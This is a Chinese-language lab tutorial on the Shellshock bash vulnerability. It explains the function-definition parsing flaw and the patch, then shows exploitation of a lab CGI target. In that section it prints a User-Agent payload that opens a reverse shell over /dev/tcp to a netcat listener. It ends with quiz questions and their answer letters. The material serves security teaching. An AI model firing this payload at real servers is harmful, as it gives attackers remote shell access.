Kali Linux
172.16.12.2/cgi-bin/poc.cgi
NC
:是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。Burp Suite:
是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架,本次试验主要用到它的抓包改包功能Bash
Bash (GNU Bourne-Again Shell) 是许多Linux发行版的默认Shell,它能运行于大多数类Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中
bash的命令语法很多来自Korn shell (ksh) 和 C shell (csh), 例如命令行编辑,命令历史,目录栈,RANDOM 和 PPID变量,以及POSIX的命令置换语法: $(…)。作为一个交互式的shell,按下TAB键即可自动补全已部分输入的程序名、文件名、变量名等等。
漏洞介绍
Bash是Linux用户广泛使用的一款用于控制命令提示符工具,这个最新被披露的bash漏洞被称为Bash bug或Shellshock(破壳漏洞)。当用户正常访问时,只要shell是唤醒状态,这个漏洞就允许攻击者执行任意代码命令。
影响范围
Bash 1.14-4.3版本。
漏洞危害
攻击者可以利用Bash漏洞在目标机器执行任意代码,反弹一个Shell,甚至直接获取到服务器的权限,危害极大。
在Bash Shell中可以定义变量,POC中定义了一个命名为x的变量,内容是一个字符串:
() { :;}; echo vulnerable
而根据漏洞信息得知,这个漏洞产生于Shell在处理函数定义时,执行了函数体之后的命令。但这里x的值是个字符串,它是怎么转变成函数的呢。
实际这个和Bash实现有关,在Bash中定义一个函数,格式为:
function function_name() {
body;
}
当Bash在初始化环境变量时,语法解析器发现小括号和大括号的时候,就认为它是一个函数定义:
$ say_hello='() { echo hello world; }'
$ export say_hello
$ bash -c 'say_hello'
hello world
上面代码在新的Bash进程中,say_hello
成了新环境中的一个函数,它的演变过程如下:
1、新的bash在初始时,扫描到环境变量say_hello
出现小括号和大括号,认定它是一个函数定义
2、bash把say_hello
作为函数名,其值作为函数体
typeset命令可以列出当前环境中所有变量和函数定义,我们用typeset看看这个字符串怎么变成函数的。继续上面定义的say_hello
函数:
$ bash -c 'typeset' | fgrep -A 10 say_hello
say_hello ()
{
echo hello world
}
这里新启动了个Bash进程,然后执行了typeset,typeset会返回当前环境(新的环境)中所有定义,这里清楚看到say_hello被变成函数了。
而这个漏洞在于,Bash把函数体解析完了之后,去执行了函数定义后面的语句,为什么会这样呢?
通过结合补丁,我对Bash的源码简单分析了下,Bash初始化时调用了builtins/evalstring.c
里的parse_and_execute
函数。是的,就等于Bash初始化环境时调用了类似其他高级语言中的eval
函数,它负责解析字符串输入并执行。
继续看parse_and_execute
的源码,关键点在这里:
else if (command = global_command)
{
struct fd_bitmap *bitmap;
它判断命令是否是一个定义成全局的,新的bash进程启动后,say_hello
不仅被解析成函数了,还变成全局的了:
$ bash -c 'typeset -f'
say_hello ()
{
echo hello world
}
declare -fx say_hello
declare
命令是Bash内置的,用来限定变量的属性,-f表示say_hello
是一个函数,-x参数表示say_hello
被export成一个环境变量,所以这句话的意思是让say_hello
成了全局有效的函数。
其实Bash本身其实是想在启动时初始环境变量以及定义一些函数,而初始的方式就是去把 变量名=值
这样的赋值语句用eval去执行一次,如果出现了函数定义,就把它转变成函数,除此之外就不想让它干其他的了,可偏偏它在扫描到函数定义时,把它转变成函数的过程中不小心执行了后面的命令,这其实不是eval的错,这是做语法解析时没考虑严格,所以补丁加了这么一句话来判断函数体合法性:
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
下一步进行漏洞利用
我们首先使用使用Burp Suite抓包,然后利用NC监听本地端口,再将Payload内容添加到User-Agent中,最后就可以成功反弹Shell
首先我们打开Shell终端,在命令行里输入 burpsuite
,这样就打开了抓包软件。
接下来设置浏览器代理,点击火狐浏览器设置->高级->设置->网络,配置网络,操作如图:
当我们开启浏览器代理后,再次访问目标网站就会抓取到数据包,而我们要修改的地方就是User-Agent这里。
替换为Payload:
(){:;};/bin/bash -i>& /dev/tcp/172.16.11.2/8090 0>&1;
在Payload中后面的8090可以任意指定,只要与NC监听的端口一致即可。
接下来再次打开Shell窗口,运行NC,输入如下命令:
nc -l -p 8090
其中:
-l
的意思是使用监听模式,管控传入的资料。
-p
则是指定端口。
现在就已经处于监听状态。
点击Burp Suite的Forward按钮,将修改后的数据包放出:
可以看到,成功的获取了目标机器的权限,反弹回一个Shell。
本次实验我们学习了Bash漏洞产生的原因,了解了Bash POC的原理,并掌握了此漏洞的利用方法,但官方给出的修复意见并不能完全修复这个漏洞,还可以通过语句去绕过,请同学们在课下学习并尝试绕过
临时修复建议
下载最新源码包,重新编译安装新版本
1、Bash远程命令执行漏洞所能造成的危害包括以下哪些选项?()
ABCD
2、在Bash中输入var=“test”后,以下选项的内容哪些是错误的?()
BD
3、以下选项中哪些是Bash远程执行漏洞被利用的条件?()
ABC
4、存在远程命令执行漏洞的Bash中输入export v=’() { echo “X”;}; echo “Y”’;bash会输出X。
B
5、在Bash中哪个命令可以将局部变量变成全局变量?()
C
function sebug { echo “sebug”; }
function sebug() { echo “sebug”; }
sebug() { echo “sebug”; }
sebug=() { echo “sebug”; }
d
在子shell中运行条命令
使在子shell中可以使用命令历史记录
为其它应用程序设置环境变量
提供nfs分区给网络中的其它系统使用
c
echo () { (echo)=>;
B.echo () { (echo)=>\ > echo;
export echo=’() { (echo)=>’; echo echo > echo
env echo=echo; echo echo > echo;
c